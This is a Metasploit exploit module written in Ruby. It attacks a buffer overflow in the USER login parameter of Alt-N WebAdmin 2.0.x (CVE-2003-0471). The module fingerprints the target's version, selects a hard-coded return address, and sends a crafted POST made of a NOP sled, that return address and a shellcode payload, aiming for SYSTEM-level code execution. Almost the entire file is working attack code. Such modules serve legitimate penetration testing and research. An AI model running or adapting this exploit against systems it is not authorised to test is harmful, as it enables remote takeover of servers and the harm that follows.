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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Alt-N WebAdmin USER Buffer Overflow',
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        'Description' => %q{
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          Alt-N WebAdmin is prone to a buffer overflow condition. This
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          is due to insufficient bounds checking on the USER
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          parameter. Successful exploitation could result in code
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          execution with SYSTEM level privileges.
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        },
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        'Author' => [ 'MC' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2003-0471' ],
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          [ 'OSVDB', '2207' ],
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          [ 'BID', '8024'],
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          [ 'URL', 'http://www.nessus.org/plugins/index.php?view=single&id=11771']
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        ],
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        'Privileged' => true,
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        'DefaultOptions' => {
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          'EXITFUNC' => 'thread',
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        },
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        'Payload' => {
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          'Space' => 830,
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          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          ['Automatic', {}],
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          ['WebAdmin 2.0.4 Universal', { 'Ret' => 0x10074d9b }], # 2.0.4 webAdmin.dll
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          ['WebAdmin 2.0.3 Universal', { 'Ret' => 0x10074b13 }], # 2.0.3 webAdmin.dll
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          ['WebAdmin 2.0.2 Universal', { 'Ret' => 0x10071e3b }], # 2.0.2 webAdmin.dll
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          ['WebAdmin 2.0.1 Universal', { 'Ret' => 0x100543c2 }], # 2.0.1 webAdmin.dll
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        ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2003-06-24',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options([Opt::RPORT(1000)])
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  end
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  def exploit
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    mytarget = target
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    if (target.name =~ /Automatic/)
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      res = send_request_raw({
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        'uri' => '/WebAdmin.DLL'
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      }, -1)
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      if (res and res.body =~ /WebAdmin.*v(2\..*)$/)
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        case $1
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        when /2\.0\.4/
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          mytarget = targets[1]
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        when /2\.0\.3/
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          mytarget = targets[2]
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        when /2\.0\.2/
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          mytarget = targets[3]
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        when /2\.0\.1/
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          mytarget = targets[4]
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        else
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          print_error("No target found for v#{$1}")
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          return
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        end
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      else
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        print_error("No target found")
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      end
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    end
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    user_cook = rand_text_alphanumeric(2)
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    post_data = 'User=' + make_nops(168) + [mytarget.ret].pack('V') + payload.encoded
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    post_data << '&Password=wtf&languageselect=en&Theme=Heavy&Logon=Sign+In'
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    print_status("Sending request...")
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    res = send_request_cgi({
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      'uri' => '/WebAdmin.DLL',
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      'query' => 'View=Logon',
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      'method' => 'POST',
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      'content-type' => 'application/x-www-form-urlencoded',
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      'cookie' => "User=#{user_cook}; Lang=en; Theme=standard",
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      'data' => post_data,
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      'headers' =>
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      {
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        'Accept' => 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png',
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        'Accept-Language' => 'en',
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        'Accept-Charset' => 'iso-8859-1,*,utf-8'
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      }
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    }, 5)
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    handler
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  end
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end
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